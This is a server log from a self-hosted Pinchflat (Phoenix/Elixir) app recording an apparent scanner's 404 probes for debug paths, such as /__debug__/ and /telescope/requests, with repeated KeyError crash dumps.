%{}, path_info: ["__cve_probe_cve_test_404"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__cve_probe_cve_test_404", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgjLUj8nKvSUACMqh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21643.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37278}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__cve_probe_cve_test_404 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21643.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37278}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21644.0>, params: %{}, path_info: ["__cve_probe_cve_test_404"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__cve_probe_cve_test_404", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, priv (truncated) 15:40:37.779 [info] GET /__debug__/ 15:40:37.779 [debug] QUERY OK source="settings" db=0.1ms idle=206.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.780 [debug] QUERY OK source="settings" db=0.0ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.780 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.780 [error] #PID<0.21646.0> running PinchflatWeb.Endpoint (connection #PID<0.21645.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__debug__/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__debug__ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__debug__/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37282}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21646.0>, params: %{}, path_info: ["__debug__"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__debug__/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgjhwIgLKmDkACMrB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__debug__/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37282}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__debug__ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__debug__/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37282}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21646.0>, params: %{}, path_info: ["__debug__"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__debug__/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgjhwIgLKmDkACMrB"} ], scheme: :http, script_name: [], (truncated) 15:40:37.796 [info] GET /telescope/requests 15:40:37.796 [debug] QUERY OK source="settings" db=0.0ms idle=129.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.797 [debug] QUERY OK source="settings" db=0.0ms idle=111.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.797 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.797 [error] #PID<0.21648.0> running PinchflatWeb.Endpoint (connection #PID<0.21647.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /telescope/requests ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21647.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37290}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21648.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgjl3nRcoLV0ABcTi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21647.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37290}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21647.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37290}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21648.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", " (truncated) 15:40:37.892 [info] GET /webpack-dev-server 15:40:37.892 [debug] QUERY OK source="settings" db=0.1ms idle=206.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.892 [debug] QUERY OK source="settings" db=0.1ms idle=112.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.893 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.893 [error] #PID<0.21650.0> running PinchflatWeb.Endpoint (connection #PID<0.21649.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /webpack-dev-server ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webpack-dev-server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21649.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webpack-dev-server", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37294}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21650.0>, params: %{}, path_info: ["webpack-dev-server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/webpack-dev-server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgj8suU0-esgABcUC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21649.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webpack-dev-server", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37294}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webpack-dev-server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21649.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webpack-dev-server", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37294}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21650.0>, params: %{}, path_info: ["webpack-dev-server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/webpack-dev-server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgj (truncated) 15:40:37.934 [info] GET /horizon/api/stats 15:40:37.934 [debug] QUERY OK source="settings" db=0.0ms idle=154.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.935 [debug] QUERY OK source="settings" db=0.1ms idle=138.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.935 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.935 [error] #PID<0.21652.0> running PinchflatWeb.Endpoint (connection #PID<0.21651.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /horizon/api/stats ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /horizon/api/stats (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21651.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/horizon/api/stats", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37254}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21652.0>, params: %{}, path_info: ["horizon", "api", "stats"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => 